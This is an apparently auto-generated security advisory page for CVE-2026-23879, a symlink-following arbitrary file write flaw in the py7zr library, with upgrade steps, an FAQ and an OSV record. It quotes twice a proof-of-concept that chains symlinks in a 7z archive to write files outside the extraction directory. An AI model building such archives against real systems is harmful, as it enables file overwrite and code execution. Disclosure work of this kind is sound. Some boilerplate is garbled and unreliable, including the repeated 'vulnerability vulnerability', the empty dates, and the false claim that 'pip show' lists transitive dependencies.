CVE-2026-23879: py7zr Arbitrary File Write Vulnerability Vulnerability

HIGH
Advisory Identifier: GHSA-q6rc-2cgv-63h7
CVSS 8.0
CWE-59
Published
Advisory Summary

CVE-2026-23879 is a HIGH (CVSS 8.0) arbitrary file write vulnerability vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting py7zr libraries in the PyPI ecosystem. The issue involves arbitrary file write vulnerability. Remediation is available by upgrading affected packages to version 1.1.3.

CVE-2026-23879 at a Glance

CVE Identifier CVE-2026-23879
GHSA Identifier GHSA-q6rc-2cgv-63h7
Severity HIGH
CVSS v3.1 Base Score 8.0
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product py7zr
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-23879

To remediate this vulnerability, upgrade all affected py7zr dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

py7zr fixed: 1.1.3
pip install py7zr>=1.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show py7zr

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-23879, inspect your installed packages using pip:

pip show py7zr

Analyze the terminal output to locate any version of py7zr in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.3), your application is affected.

Note: The pip show py7zr command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In py7zr, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary There exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. ### Details The root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. <img width="1806" height="834" alt="image" src="https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b" /> ### PoC #### **Construct PoC Archive File** The following pseudo-code illustrates the vulnerable logic. ```python def create_sevenz_exp(output_dir: str): filename = "archive.7z" file_path = output_dir + filename with py7zr.SevenZipFile(file_path, 'w') as archive: archive.writestr("Some Text", "dir0/someFile.txt") add_symlink(archive, "dir1", "dir0/..") add_symlink(archive, "dir2", "dir1/..") add_symlink(archive, "dir3", "dir2/..") add_symlink(archive, "dir4", "dir3/..") add_symlink(archive, "dir5", "dir4/..") add_symlink(archive, "dir6", "dir5/..") add_symlink(archive, "dir7", "dir6/..") add_symlink(archive, "dir8", "dir7/..") add_symlink(archive, "myTmp", "dir8/tmp") archive.writestr("Malicious Text\n", "myTmp/poc.txt") ``` #### **Unpack the archive** Use common decompression methods, then extract the archive. ```python import sys import os import py7zr def extract_7z(seven_path, output_dir): os.makedirs(output_dir, exist_ok=True) with py7zr.SevenZipFile(seven_path, mode='r') as z: z.extractall(path=output_dir) print(f"Extracted '{seven_path}' to '{output_dir}'") if __name__ == "__main__": seven_file = sys.argv[1] base_name = os.path.splitext(os.path.basename(seven_file))[0] output = base_name + "_sevenz_output" extract_7z(seven_file, output) ``` ### Impact <img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" /> After decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.

CVE-2026-23879 Affected py7zr Versions

1 component(s)
Fixed Versions:
1.1.3
Product / Package Ecosystem Affected Versions Fixed Version
py7zr
PyPI
< 1.1.3
1.1.3

References

Frequently Asked Questions

What is CVE-2026-23879?
CVE-2026-23879 is a security vulnerability in py7zr involving Arbitrary File Write Vulnerability under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which py7zr versions are affected?
Affected versions include releases prior to 1.1.3 across affected packages: py7zr.
What version fixes CVE-2026-23879?
Upgrading to 1.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is py7zr affected?
Yes, py7zr is affected in releases prior to 1.1.3. Upgrade your dependency to 1.1.3 or later.
What is the CVSS score of CVE-2026-23879?
CVE-2026-23879 has a CVSS v3.1 base score of 8.0 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-23879?
CVE-2026-23879 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check PyPI dependencies for CVE-2026-23879?
Run the dependency tree command: 'pip show py7zr'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q6rc-2cgv-63h7",
  "modified" : "2026-07-21T13:17:00Z",
  "published" : "2026-06-19T19:21:57Z",
  "aliases" : [ "CVE-2026-23879" ],
  "summary" : "py7zr: Arbitrary File Write Vulnerability",
  "details" : "### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n<img width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" />\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n    filename = \"archive.7z\"\n    file_path = output_dir + filename\n    with py7zr.SevenZipFile(file_path, 'w') as archive:\n        archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n        add_symlink(archive, \"dir1\", \"dir0/..\")\n        add_symlink(archive, \"dir2\", \"dir1/..\")\n        add_symlink(archive, \"dir3\", \"dir2/..\")\n        add_symlink(archive, \"dir4\", \"dir3/..\")\n        add_symlink(archive, \"dir5\", \"dir4/..\")\n        add_symlink(archive, \"dir6\", \"dir5/..\")\n        add_symlink(archive, \"dir7\", \"dir6/..\")\n        add_symlink(archive, \"dir8\", \"dir7/..\")\n        add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n        archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n    os.makedirs(output_dir, exist_ok=True)\n    with py7zr.SevenZipFile(seven_path, mode='r') as z:\n        z.extractall(path=output_dir)\n    print(f\"Extracted '{seven_path}' to '{output_dir}'\")\n\nif __name__ == \"__main__\":\n    seven_file = sys.argv[1]\n    base_name = os.path.splitext(os.path.basename(seven_file))[0]\n    output = base_name + \"_sevenz_output\"\n\n    extract_7z(seven_file, output)\n```\n\n### Impact\n<img width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" />\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "py7zr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23879"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-q6rc-2cgv-63h7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/miurahr/py7zr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/py7zr/PYSEC-2026-2974.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/py7zr"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T19:21:57Z",
    "nvd_published_at" : "2026-06-24T20:16:31Z"
  }
}